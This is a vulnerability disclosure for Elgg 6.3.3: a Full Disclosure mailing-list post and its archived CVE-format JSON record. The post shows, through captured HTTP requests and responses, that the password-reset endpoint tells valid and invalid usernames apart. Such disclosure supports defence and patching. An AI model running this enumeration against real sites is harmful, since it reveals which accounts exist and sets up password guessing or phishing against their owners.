Description (en)
# Exploit Title: Elgg - Username Enumeration
# Date: 1/2026
# Exploit Author: Andrey Stoykov
# Version: 6.3.3
# Tested on: Ubuntu 22.04
# Blog:
https://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-47-lack-of.html
// HTTP Request - Resetting Password - Valid User
POST /action/user/requestnewpassword HTTP/1.1
Host: elgg.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)
Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://elgg.local
Sec-GPC: 1
Connection: keep-alive
Referer: http://elgg.local/forgotpassword
Cookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6
Upgrade-Insecure-Requests: 1
Priority: u=0, i
__elgg_token=2Cpt0GyVW9swhLkm5PggkQ&__elgg_ts=1769264047&username=admin
// HTTP Response - Resetting Password - Valid User
HTTP/1.1 302 Found
Date: Sat, 24 Jan 2026 14:14:43 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: must-revalidate, no-cache, no-store, private
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
Location: http://elgg.local/
Vary: User-Agent
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 318
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="0;url='http://elgg.local/'"; />
<title>Redirecting to http://elgg.local/</title>
</head>
<body>
Redirecting to <a href="http://elgg.local/";>http://elgg.local/</a>.
</body>
</html>
// HTTP Request - Following Redirection - Valid User
GET / HTTP/1.1
Host: elgg.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)
Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
Origin: http://elgg.local
Sec-GPC: 1
Connection: keep-alive
Referer: http://elgg.local/action/user/requestnewpassword
Cookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6
Upgrade-Insecure-Requests: 1
Priority: u=0, i
// HTTP Response - Following Redirection - Valid User
HTTP/1.1 200 OK
Date: Sat, 24 Jan 2026 14:14:46 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: must-revalidate, no-cache, no-store, private
x-frame-options: SAMEORIGIN
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
x-content-type-options: nosniff
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 20646
[...]
<div class="elgg-message elgg-message-success"><div class="elgg-inner"><div
class="elgg-body">Successfully requested a new password, email
sent</div></div></div>
[...]
// HTTP Request - Resetting Password - Invalid User
POST /action/user/requestnewpassword HTTP/1.1
Host: elgg.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)
Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Origin: http://elgg.local
Sec-GPC: 1
Connection: keep-alive
Referer: http://elgg.local/forgotpassword
Cookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6
Upgrade-Insecure-Requests: 1
Priority: u=0, i
__elgg_token=2Cpt0GyVW9swhLkm5PggkQ&__elgg_ts=1769264047&username=x
// HTTP Response - Resetting Password - Invalid User
HTTP/1.1 302 Found
Date: Sat, 24 Jan 2026 14:15:07 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: must-revalidate, no-cache, no-store, private
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
Location: http://elgg.local/forgotpassword
Vary: User-Agent
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 374
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="0;url='
http://elgg.local/forgotpassword'"; />
<title>Redirecting to http://elgg.local/forgotpassword</title>
</head>
<body>
Redirecting to <a href="http://elgg.local/forgotpassword";>
http://elgg.local/forgotpassword</a>.
</body>
</html>
// HTTP Request - Following Redirection - Invalid User
GET /forgotpassword HTTP/1.1
Host: elgg.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)
Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
Origin: http://elgg.local
Sec-GPC: 1
Connection: keep-alive
Referer: http://elgg.local/action/user/requestnewpassword
Cookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6
Upgrade-Insecure-Requests: 1
Priority: u=0, i
// HTTP Response - Following Redirection - Invalid User
HTTP/1.1 200 OK
Date: Sat, 24 Jan 2026 14:15:09 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: must-revalidate, no-cache, no-store, private
x-frame-options: SAMEORIGIN
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
x-content-type-options: nosniff
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 19681
[...]
<div class="elgg-message elgg-message-error"><div class="elgg-inner"><div
class="elgg-body">Username x not found.</div></div></div>
[...]
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/Raw JSON
{
"containers": {
"cna": {
"affected": [
{
"product": "Username Enumeration -",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Andrey Stoykov"
}
],
"descriptions": [
{
"lang": "en",
"value": "# Exploit Title: Elgg - Username Enumeration\n# Date: 1/2026\n# Exploit Author: Andrey Stoykov\n# Version: 6.3.3\n# Tested on: Ubuntu 22.04\n# Blog:\nhttps://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-47-lack-of.html\n\n// HTTP Request - Resetting Password - Valid User\n\nPOST /action/user/requestnewpassword HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 71\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/forgotpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n__elgg_token=2Cpt0GyVW9swhLkm5PggkQ&__elgg_ts=1769264047&username=admin\n\n// HTTP Response - Resetting Password - Valid User\n\nHTTP/1.1 302 Found\nDate: Sat, 24 Jan 2026 14:14:43 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nLocation: http://elgg.local/\nVary: User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 318\n\n<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\" />\n <meta http-equiv=\"refresh\" content=\"0;url='http://elgg.local/'\"; />\n\n <title>Redirecting to http://elgg.local/</title>\n </head>\n <body>\n Redirecting to <a href=\"http://elgg.local/\";>http://elgg.local/</a>.\n </body>\n</html>\n\n// HTTP Request - Following Redirection - Valid User\n\nGET / HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/action/user/requestnewpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n// HTTP Response - Following Redirection - Valid User\n\nHTTP/1.1 200 OK\nDate: Sat, 24 Jan 2026 14:14:46 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nx-frame-options: SAMEORIGIN\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nx-content-type-options: nosniff\nVary: Accept-Encoding,User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 20646\n\n[...]\n<div class=\"elgg-message elgg-message-success\"><div class=\"elgg-inner\"><div\nclass=\"elgg-body\">Successfully requested a new password, email\nsent</div></div></div>\n[...]\n\n// HTTP Request - Resetting Password - Invalid User\n\nPOST /action/user/requestnewpassword HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 67\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/forgotpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n__elgg_token=2Cpt0GyVW9swhLkm5PggkQ&__elgg_ts=1769264047&username=x\n\n\n// HTTP Response - Resetting Password - Invalid User\n\nHTTP/1.1 302 Found\nDate: Sat, 24 Jan 2026 14:15:07 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nLocation: http://elgg.local/forgotpassword\nVary: User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 374\n\n<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\" />\n <meta http-equiv=\"refresh\" content=\"0;url='\nhttp://elgg.local/forgotpassword'\"; />\n\n <title>Redirecting to http://elgg.local/forgotpassword</title>\n </head>\n <body>\n Redirecting to <a href=\"http://elgg.local/forgotpassword\";>\nhttp://elgg.local/forgotpassword</a>.\n </body>\n</html>\n\n// HTTP Request - Following Redirection - Invalid User\n\nGET /forgotpassword HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/action/user/requestnewpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n// HTTP Response - Following Redirection - Invalid User\n\nHTTP/1.1 200 OK\nDate: Sat, 24 Jan 2026 14:15:09 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nx-frame-options: SAMEORIGIN\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nx-content-type-options: nosniff\nVary: Accept-Encoding,User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 19681\n\n[...]\n<div class=\"elgg-message elgg-message-error\"><div class=\"elgg-inner\"><div\nclass=\"elgg-body\">Username x not found.</div></div></div>\n[...]\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T07:57:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/30"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jan/30"
},
{
"url": "http://elgg.local"
},
{
"url": "http://elgg.local/"
},
{
"url": "http://elgg.local/\""
},
{
"url": "http://elgg.local/'\""
},
{
"url": "http://elgg.local/action/user/requestnewpassword"
},
{
"url": "http://elgg.local/forgotpassword"
},
{
"url": "http://elgg.local/forgotpassword\""
},
{
"url": "http://elgg.local/forgotpassword'\""
},
{
"url": "https://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-47-lack-of.html"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jan/30"
],
"discovery": "EXTERNAL"
},
"title": "Username Enumeration - elggv6.3.3",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0194",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/30",
"automated": true,
"contentSha256": "117ea4f7bc3e4cf6e724145aae4a21a9e1546f57275af082c1192b9de57223cb",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/30",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-01-24T18:04:50Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:41Z",
"dateUpdated": "2026-09-08T07:57:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0194"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}